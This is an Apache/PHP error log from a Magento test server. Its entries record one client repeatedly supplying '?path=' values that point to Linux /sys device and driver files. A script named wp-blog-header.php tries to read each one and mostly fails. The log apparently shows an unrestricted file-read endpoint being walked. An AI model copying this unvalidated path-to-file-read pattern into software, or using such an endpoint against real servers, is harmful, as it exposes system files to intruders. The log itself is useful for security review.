[Thu Mar 26 08:30:26.999874 2026] [php:warn] [pid 3101378] [client 74.7.241.26:37796] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bf/physical_node/subsystem/drivers/ahci/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bf/physical_node/subsystem/drivers/ahci
[Thu Mar 26 08:31:34.431612 2026] [php:warn] [pid 3100750] [client 74.7.241.26:33578] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem
[Thu Mar 26 08:32:04.618310 2026] [php:warn] [pid 3100750] [client 74.7.241.26:33578] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 08:33:32.909899 2026] [php:notice] [pid 3102790] [client 74.7.241.26:45354] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/power
[Thu Mar 26 08:33:53.246321 2026] [php:warn] [pid 3102790] [client 74.7.241.26:45354] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 08:34:26.557437 2026] [php:warn] [pid 3103724] [client 74.7.241.26:41810] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae
[Thu Mar 26 08:34:35.451676 2026] [php:notice] [pid 3103724] [client 74.7.241.26:41810] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bf/power
[Thu Mar 26 08:35:17.583180 2026] [php:warn] [pid 3103724] [client 74.7.241.26:41810] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/subsystem/drivers/iosf_mbi_pci/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/subsystem/drivers/iosf_mbi_pci
[Thu Mar 26 08:35:44.340349 2026] [php:warn] [pid 3103527] [client 74.7.241.26:56452] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:4e/subsystem/devices/device:de/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:4e/subsystem/devices/device:de/subsystem
[Thu Mar 26 08:37:07.027125 2026] [php:warn] [pid 3105244] [client 74.7.241.26:34730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:5b/subsystem/devices/device:de/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:5b/subsystem/devices/device:de/subsystem
[Thu Mar 26 08:38:53.036433 2026] [php:warn] [pid 3105939] [client 74.7.241.26:49150] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:2b/subsystem/devices/device:de/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:2b/subsystem/devices/device:de/subsystem
[Thu Mar 26 08:42:43.429817 2026] [php:notice] [pid 3107099] [client 74.7.241.26:47356] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:e2/subsystem/devices/device:de/power
[Thu Mar 26 08:51:29.217103 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51058] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:eb/device:ec
[Thu Mar 26 08:53:04.289598 2026] [php:notice] [pid 3107099] [client 74.7.241.26:42708] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ad/power
[Thu Mar 26 08:53:33.355276 2026] [php:notice] [pid 3106409] [client 74.7.241.26:38114] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:cb/power
[Thu Mar 26 08:54:31.273151 2026] [php:notice] [pid 3107062] [client 74.7.241.26:37244] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fe/power
[Thu Mar 26 08:57:36.214699 2026] [php:warn] [pid 3106381] [client 74.7.241.26:41676] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fb/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fb/subsystem
[Thu Mar 26 08:57:56.943848 2026] [php:warn] [pid 3106381] [client 74.7.241.26:41676] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ef/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ef/subsystem
[Thu Mar 26 09:00:43.916938 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47024] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:cc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:cc/subsystem
[Thu Mar 26 09:01:48.381034 2026] [php:warn] [pid 3107062] [client 74.7.241.26:58418] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 09:02:06.280905 2026] [php:warn] [pid 3107062] [client 74.7.241.26:58418] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/thermal/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/thermal
[Thu Mar 26 09:04:55.798898 2026] [php:warn] [pid 3107074] [client 74.7.241.26:52306] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 09:05:46.031640 2026] [php:notice] [pid 3106744] [client 74.7.241.26:50464] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:bb/power
[Thu Mar 26 09:06:34.563192 2026] [php:notice] [pid 3107074] [client 74.7.241.26:49756] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:eb/power
[Thu Mar 26 09:06:39.305642 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49756] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/nfit/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/nfit
[Thu Mar 26 09:08:12.376672 2026] [php:warn] [pid 3106405] [client 74.7.241.26:46954] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 09:08:29.640294 2026] [php:warn] [pid 3106405] [client 74.7.241.26:46954] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 09:09:32.696943 2026] [php:warn] [pid 3106744] [client 74.7.241.26:57786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 09:11:21.559032 2026] [php:warn] [pid 3106380] [client 74.7.241.26:59820] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/hpet/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/hpet
[Thu Mar 26 09:12:32.106259 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56838] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:0b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:0b
[Thu Mar 26 09:16:31.772976 2026] [php:warn] [pid 3106757] [client 74.7.241.26:47412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 09:17:26.064482 2026] [php:warn] [pid 3107073] [client 74.7.241.26:42996] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 09:18:09.385223 2026] [php:warn] [pid 3106744] [client 74.7.241.26:34672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:de
[Thu Mar 26 09:18:12.507678 2026] [php:warn] [pid 3106744] [client 74.7.241.26:34672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/tpm_crb
[Thu Mar 26 09:18:14.120304 2026] [php:warn] [pid 3106744] [client 74.7.241.26:34672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 09:18:28.544770 2026] [php:warn] [pid 3106744] [client 74.7.241.26:34672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 09:20:49.588762 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:de
[Thu Mar 26 09:20:55.883304 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 09:21:18.462626 2026] [php:warn] [pid 3106380] [client 74.7.241.26:55252] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ec
[Thu Mar 26 09:21:46.316210 2026] [php:warn] [pid 3106380] [client 74.7.241.26:55252] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 09:22:04.149213 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 09:26:32.102230 2026] [php:warn] [pid 3106381] [client 74.7.241.26:53362] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ec
[Thu Mar 26 09:32:37.855614 2026] [php:warn] [pid 3106380] [client 74.7.241.26:33622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ec
[Thu Mar 26 09:34:30.150987 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38452] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:da
[Thu Mar 26 09:35:13.899193 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40906] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec
[Thu Mar 26 09:35:55.012555 2026] [php:warn] [pid 3106744] [client 74.7.241.26:40112] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/button/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/button
[Thu Mar 26 09:37:06.331860 2026] [php:warn] [pid 3106380] [client 74.7.241.26:44536] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
